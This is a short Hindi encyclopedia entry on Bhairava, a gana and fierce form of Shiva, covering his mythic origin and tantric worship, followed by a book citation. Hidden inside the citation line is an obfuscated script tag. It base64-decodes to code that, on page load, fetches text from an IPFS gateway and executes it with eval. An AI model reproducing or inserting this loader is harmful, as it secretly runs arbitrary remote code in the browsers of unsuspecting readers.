भैरव (गण)

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भैरव पौराणिक महाकाव्य महाभारत के उल्लेखानुसार शिव के एक प्रकार के गण का नाम है, जो शंकर का अवतार माना जाता है।

  • पुराणों के अनुसार अ‍ंधक राक्षस की गदा से भगवान शिव के सिर के चार खण्ड हो गये थे और उनमें से रुधिर बहने लगा। इसी रक्त धारा से पाँच भैरवों की उत्पत्ति हुई थी।
  • तंत्र तथा पुराणों के अनुसार इनकी संख्या आठ कही जाती है, जिसकी उपासना तांत्रिक लोग अधिक करते हैं।
  • यह भगवान शंकर का महा उग्ररूप है तथा इस रूप में भगवान शिव का तांडव नृत्य प्रसिद्ध है।


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टीका टिप्पणी और संदर्भ

पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 384 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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